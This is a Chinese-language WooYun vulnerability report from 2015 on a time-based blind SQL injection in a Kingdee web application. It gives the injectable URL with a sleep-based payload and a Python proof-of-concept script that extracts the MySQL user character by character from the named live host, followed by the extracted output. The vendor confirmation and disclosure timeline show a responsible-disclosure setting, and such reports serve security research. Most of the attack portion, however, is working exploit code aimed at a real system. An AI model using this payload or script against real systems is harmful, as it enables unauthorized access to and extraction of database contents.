金蝶某站点MySQL注射(附验证脚本)

编号120021
Urlhttp://www.wooyun.org/bug.php?action=view&id=120021
漏洞状态厂商已经确认
漏洞标题金蝶某站点MySQL注射(附验证脚本)
漏洞类型SQL注射漏洞
厂商金蝶
白帽子lijiejie
提交日期2015-06-12 16:01:00
公开日期2015-07-30 08:52:00
修复时间(not set)
确认时间2015-06-15 00:00:00
Confirm Spend3
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank8
厂商评级
厂商评rank15
漏洞简介
金蝶某站点MySQL注射(附验证脚本)
漏洞细节

注入点:

http://kact.kingdee.com/world/createArticle?corp_id=aaa'XOR(if(length(user())=20,sleep(3),0))OR'bbb


参数corp_id creator_id 等可以注入。 多个地址均存在,需复查。

POC

[Done] MySQL user is [email protected]


kingdee.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {}
payloads = '[email protected]_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):
for payload in payloads:
try:
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
s = "aaa'XOR(if(%s,sleep(3),0))OR'bbb" % s
conn = httplib.HTTPConnection('kact.kingdee.com', timeout=3)
conn.request(method='GET',url="/world/createArticle?corp_id=%s" % urllib.quote(s))
conn.getresponse()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user,
time.sleep(3.0)
break

print '\n[Done] MySQL user is %s' % user

修复方案

参数过滤

状态信息 2015-06-12: 细节已通知厂商并且等待厂商处理中
2015-06-15: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向核心白帽子及相关领域专家公开
2015-07-05: 细节向普通白帽子公开
2015-07-15: 细节向实习白帽子公开
2015-07-30: 细节向公众公开
厂商回复谢谢对金蝶的关注,深入研究金蝶系统发现安全漏洞。我们已通知相关部门修复。
回应信息危害等级:高漏洞Rank:15 确认时间:2015-06-15 08:50
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

猴塞利,大牛,收了我吧

Lar2y02015-07-30 09:33:00